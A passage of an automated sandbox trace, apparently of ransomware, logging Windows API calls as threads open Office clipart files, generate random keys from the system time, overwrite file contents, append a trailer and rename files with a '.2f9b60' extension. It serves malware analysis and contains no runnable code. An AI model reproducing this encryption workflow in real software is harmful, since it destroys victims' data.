(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7160) returned 1 [0162.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423fd540) returned 1 [0162.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423f9930) returned 1 [0162.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ac30) returned 1 [0162.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ab0) returned 1 [0162.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7160 [0162.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ab0 [0162.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ac30 [0162.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7190 [0162.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7190) returned 1 [0162.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7190 [0162.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a71c0 [0162.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a71f0 [0162.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a71f0) returned 1 [0162.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ac30) returned 1 [0162.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ab0) returned 1 [0162.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ad970 [0162.050] SetFilePointerEx (in: hFile=0x21b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.050] WriteFile (in: hFile=0x21b8, lpBuffer=0x423ad970*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bf0f6b0, lpOverlapped=0x0 | out: lpBuffer=0x423ad970*, lpNumberOfBytesWritten=0x2bf0f6b0*=0x10a, lpOverlapped=0x0) returned 1 [0164.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0164.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fa0 [0164.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3fa0) returned 1 [0164.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d0c0 [0164.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fa0 [0164.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f70 [0164.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3f70) returned 1 [0164.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0164.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.014] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="68") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="0c") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="ad") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="5d") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="b3") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="1e") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="fd") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="94") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="47") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="84") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="57") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="ba") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="3b") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="3d") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="e4") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="6f") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="1a") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="d0") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="b0") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="8e") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="9c") returned 2 [0164.015] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="23") returned 2 [0164.015] RtlInitAnsiString (in: DestinationString=0x2bf0f728, SourceString="680cad2d5db31e5afd94478457ba3b3de46f1ad0b08e9c23" | out: DestinationString="680cad2d5db31e5afd94478457ba3b3de46f1ad0b08e9c23") [0164.015] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bf0f6f8, SourceString="680cad2d5db31e5afd94478457ba3b3de46f1ad0b08e9c23", AllocateDestinationString=1 | out: DestinationString="680cad2d5db31e5afd94478457ba3b3de46f1ad0b08e9c23") returned 0x0 [0164.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa6d0 [0164.016] RtlFreeAnsiString (AnsiString="6") [0164.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d0c0) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3fa0) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad970) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7190) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a71c0) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7160) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7130) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3f40) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4000) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4030) returned 1 [0164.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e280 [0164.019] wcscat (in: _Dest=0x4230e280, _Source="680cad2d5db3" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\680cad2d5db3") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\680cad2d5db3" [0164.019] wcscat (in: _Dest=0x4230e280, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\680cad2d5db3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\680cad2d5db3.2f9b60" [0164.019] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\680cad2d5db3.2f9b60", NtPathName=0x2bf0f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\680cad2d5db3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2ad50 Thread: id = 2360 os_tid = 0x1d44 [0150.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0150.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF", dwFileAttributes=0x20) returned 1 [0150.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21bc [0150.075] GetFileSizeEx (in: hFile=0x21bc, lpFileSize=0x292cf8c0 | out: lpFileSize=0x292cf8c0*=8564) returned 1 [0150.075] SetFilePointerEx (in: hFile=0x21bc, liDistanceToMove=0x2170, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.075] ReadFile (in: hFile=0x21bc, lpBuffer=0x292cf840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x292cf888, lpOverlapped=0x0 | out: lpBuffer=0x292cf840*, lpNumberOfBytesRead=0x292cf888*=0x4, lpOverlapped=0x0) returned 1 [0150.077] SetFilePointerEx (in: hFile=0x21bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fd0 [0150.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4060 [0150.078] NtQuerySystemTime (in: CurrentTime=0x292cf780 | out: CurrentTime=0x292cf780*=132462177552898000) returned 0x0 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x2399c062 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x1f18ae84 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x15b80363 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x5dc5ef4e [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x66926602 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x123dfff4 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x2edfbed6 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x7ff5412a [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x16d4aec3 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x3b9e96fe [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x3be67307 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x7f953c11 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x60e93ad6 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x7ff3d166 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x7ce44d7e [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x7ca11b34 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x12bbd2da [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x6e7604a1 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x74b71e0a [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x1238836d [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x365a6c61 [0150.078] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x10f218b0 [0150.079] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x7698fdcc [0150.079] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x4d5de0d7 [0150.079] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x3fe62297 [0150.079] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x9268d0a [0150.079] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x17b4e046 [0150.079] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x76d17358 [0150.079] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x54d24d27 [0150.079] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x4085b8ff [0150.079] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x27778a3a [0150.079] RtlRandomEx (in: Seed=0x292cf770 | out: Seed=0x292cf770) returned 0x3ebb4b9c [0150.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4090 [0150.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5acb0 [0150.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40c0 [0150.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5acb0) returned 1 [0150.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4060) returned 1 [0150.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d80 [0150.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5acb0 [0150.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42401150 [0150.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42404d60 [0150.089] ReadFile (in: hFile=0x21bc, lpBuffer=0x42401150, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x292cf770, lpOverlapped=0x0 | out: lpBuffer=0x42401150*, lpNumberOfBytesRead=0x292cf770*=0x2174, lpOverlapped=0x0) returned 1 [0150.090] SetFilePointerEx (in: hFile=0x21bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.090] WriteFile (in: hFile=0x21bc, lpBuffer=0x42404d60*, nNumberOfBytesToWrite=0x2174, lpNumberOfBytesWritten=0x292cf774, lpOverlapped=0x0 | out: lpBuffer=0x42404d60*, lpNumberOfBytesWritten=0x292cf774*=0x2174, lpOverlapped=0x0) returned 1 [0162.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7370 [0162.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a73a0 [0162.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a73a0) returned 1 [0162.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42404d60) returned 1 [0162.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42401150) returned 1 [0162.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5acb0) returned 1 [0162.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d80) returned 1 [0162.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a73a0 [0162.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d80 [0162.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5acb0 [0162.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a73d0 [0162.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a73d0) returned 1 [0162.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a73d0 [0162.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7400 [0162.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7430 [0162.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7430) returned 1 [0162.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5acb0) returned 1 [0162.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d80) returned 1 [0162.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ada90 [0162.078] SetFilePointerEx (in: hFile=0x21bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.078] WriteFile (in: hFile=0x21bc, lpBuffer=0x423ada90*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x292cf890, lpOverlapped=0x0 | out: lpBuffer=0x423ada90*, lpNumberOfBytesWritten=0x292cf890*=0x10a, lpOverlapped=0x0) returned 1 [0164.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b630 [0164.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd92c0 [0164.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd92c0) returned 1 [0164.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d140 [0164.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd92c0 [0164.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9290 [0164.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9290) returned 1 [0164.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b630) returned 1 [0164.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.051] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="a8") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="4d") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="23") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="9b") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="05") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="eb") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="17") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="69") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="c1") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="8b") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="ad") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="ee") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="27") returned 2 [0164.051] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="49") returned 2 [0164.052] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="3c") returned 2 [0164.052] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="af") returned 2 [0164.052] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="a6") returned 2 [0164.052] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="8c") returned 2 [0164.052] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="81") returned 2 [0164.052] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="d1") returned 2 [0164.052] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="88") returned 2 [0164.052] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.052] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="be") returned 2 [0164.052] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="8f") returned 2 [0164.052] RtlInitAnsiString (in: DestinationString=0x292cf908, SourceString="a84d239b05eb1769c18badee27493cafa68c81d188d9be8f" | out: DestinationString="a84d239b05eb1769c18badee27493cafa68c81d188d9be8f") [0164.052] RtlAnsiStringToUnicodeString (in: DestinationString=0x292cf8d8, SourceString="a84d239b05eb1769c18badee27493cafa68c81d188d9be8f", AllocateDestinationString=1 | out: DestinationString="a84d239b05eb1769c18badee27493cafa68c81d188d9be8f") returned 0x0 [0164.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa820 [0164.053] RtlFreeAnsiString (AnsiString="a") [0164.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd92c0) returned 1 [0164.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ada90) returned 1 [0164.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a73d0) returned 1 [0164.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7400) returned 1 [0164.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a73a0) returned 1 [0164.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7370) returned 1 [0164.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3fd0) returned 1 [0164.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4090) returned 1 [0164.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f40c0) returned 1 [0164.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e3c0 [0164.056] wcscat (in: _Dest=0x4230e3c0, _Source="a84d239b05eb" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a84d239b05eb") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a84d239b05eb" [0164.056] wcscat (in: _Dest=0x4230e3c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a84d239b05eb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a84d239b05eb.2f9b60" [0164.056] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a84d239b05eb.2f9b60", NtPathName=0x292cf8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a84d239b05eb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2ae10 Thread: id = 2361 os_tid = 0x1d48 [0150.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0150.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF", dwFileAttributes=0x20) returned 1 [0150.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21c0 [0150.093] GetFileSizeEx (in: hFile=0x21c0, lpFileSize=0x2bb8fd40 | out: lpFileSize=0x2bb8fd40*=1768) returned 1 [0150.093] SetFilePointerEx (in: hFile=0x21c0, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.093] ReadFile (in: hFile=0x21c0, lpBuffer=0x2bb8fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bb8fd08, lpOverlapped=0x0 | out: lpBuffer=0x2bb8fcc0*, lpNumberOfBytesRead=0x2bb8fd08*=0x4, lpOverlapped=0x0) returned 1 [0150.095] SetFilePointerEx (in: hFile=0x21c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4060 [0150.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40f0 [0150.095] NtQuerySystemTime (in: CurrentTime=0x2bb8fc00 | out: CurrentTime=0x2bb8fc00*=132462177553054000) returned 0x0 [0150.095] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x6f4c4061 [0150.095] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x402e9774 [0150.095] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x7c50860e [0150.095] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x4b1fe2ff [0150.095] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x272e7bc9 [0150.095] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x37a686d4 [0150.095] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x6ecbb621 [0150.095] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x124db742 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x55d6f40 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x62846c38 [0150.096] RtlRandomEx (in: 